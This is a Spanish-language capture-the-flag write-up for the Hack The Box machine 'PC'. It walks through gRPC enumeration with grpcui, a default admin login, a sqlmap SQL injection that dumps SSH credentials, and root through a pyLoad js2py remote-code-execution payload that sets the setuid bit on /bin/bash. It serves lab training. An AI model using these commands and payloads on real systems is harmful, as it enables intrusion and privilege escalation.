Enumeracion: NMAP

Comienzo el escaneo de reconocimiento habitual para identificar los puertos y servicios corriendo en el sistema objetivo.

1
2
3
4
5
6
7
8
9
10
11
12
nmap -p- -Pn -sC -sV 10.129.84.224
Nmap scan report for pc.htb (10.129.84.224)

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
| 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
|
50051/tcp open unknown

gRPC: 50051/tcp

Haciendo un poco de research por Google, veo que el puerto 50051 es usado por gRPC:


gRPC es un framework de código abierto desarrollado por Google que se utiliza para la comunicación entre aplicaciones distribuidas. Utiliza el Protocol Buffers (protobuf) como su lenguaje de interfaz para definir servicios y mensajes, lo que lo hace eficiente y versátil. gRPC permite a las aplicaciones comunicarse de manera rápida y confiable a través de diferentes lenguajes de programación y plataformas, lo que lo hace especialmente útil en entornos de microservicios y sistemas distribuidos.

Se basa en el protocolo HTTP/2 para la transferencia de datos y proporciona muchas características avanzadas, como autenticación, balanceo de carga y streaming.


Utilizando grpcui para interactuar con gRPC.

Procedo a la descarga de esta tool la cual va a permitir interactuar con el servicio de gRPC. (https://github.com/fullstorydev/grpcui).

Luego de familiarizarme un poco con la tool, en la consola tipeo lo siguiente apuntando a la ip del servidor y su puerto:

1
grpcui -plaintext 10.129.84.224:50051

Instantáneamente al hacer esto se me abre un browser, como localhost en un puerto random con la siguiente interfaz:


En esta página tenemos la posibilidad de Registrarnos, Iniciar sesión o consultar información. Como es costumbre, siempre que me encuentro con un LOGIN intento verificar si es posible acceder con credenciales por default y ordinarias, ya sea por una mal configuración u olvido de parte del admin.


Logramos acceder como ADMIN y obtenemos un JWT.


Luego de probar distintas cosas y fallar, intento con “getInfo“, cargando el token recibido. Y como el campo del token era “token” agrego este en el request metadata en NAME:


A continuación recibo el siguiente mensaje:


Revisando la validación a través de Burpsuite tiene el siguiente formato:


USER: Explotando campo ‘id’ con SQLMAP.

Al probar varios payloads en “id”: se recibe un error similar al siguiente:


Esto me da indicio a que es vulnerable a inyecciones SQL. Guardo el request de burpsuite en un archivo.

“request.txt”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:32809
Content-Length: 193
sec-ch-ua:
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0.5845.141 Safari/537.36
Content-Type: application/json
Accept: */*
X-Requested-With: XMLHttpRequest
x-grpcui-csrf-token: 1XWVIWdzs4mko8Q8eDhBakGMjvXnLt7jNLE_EuZR5dU
sec-ch-ua-platform: ""
Origin: http://127.0.0.1:32809
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:32809/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: _grpcui_csrf_token=1XWVIWdzs4mko8Q8eDhBakGMjvXnLt7jNLE_EuZR5dU
Connection: close

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLC
JleHAiOjE2OTc2OTQ1OTF9.gRyb-ubEWeh4tYzpt-GrzGirraBwHm8Zyt7cArpA8EY"}],"data":[{"id":"600"}]}

Desde SQLMAP ejecuto lo siguiente:

1
sqlmap -r /home/user/htb/mach/pc/content/request.txt -p id -f --batch -dump-all --level 2

Y obtengo el siguiente resultado:


El usuario y la contraseña dumpeada:

1
2
3
4
5
6
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| HereIsYourPassWord1431 | sau |
+------------------------+----------+

Ahora conecto via SSH y ya puedo sacar USER.

1
2
3
ssh  [email protected]
sau@pc:~$ ls -l
-rw-r----- 1 root sau 33 Oct 19 01:18 user.txt

ROOT

Si chequeamos con SS para verificar qué puertos y servicios están corriendo en el sistema nos encontramos con lo siguiente:


Para poder acceder a ese puerto local desde nuestra pc atacante realizo un PortForwarding con SSH:

1
ssh -L 7777:127.0.0.1:8000 [email protected]

Una vez que podemos acceder desde nuestra pc ingresamos con nuestro browser:

1
http://127.0.0.1:7777/


Explotando pyLoad.

Luego de buscar posibles exploits sobre pyLoad encuentro en este link un interesante modo de lograrlo: https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/.

Basicamente un atacante no autenticado puede ejecutar codigo python arbitrario abusando de la funcionalidad de JS2PY.


Exploit:

Sabiendo esto solo deberíamos realizar lo siguiente para que nuestra shell escale como root.

1
chmod u+s /bin/bash 

Pero antes deberíamos URLencodearlo quedando del siguiente modo:

1
chmod%20u%2Bs%20%2Fbin%2Fbash

Finalmente el Payload final quedaría así, y lo tiramos desde la maquina victima localmente:

1
curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:8000/flash/addcrypted2'

PWNED!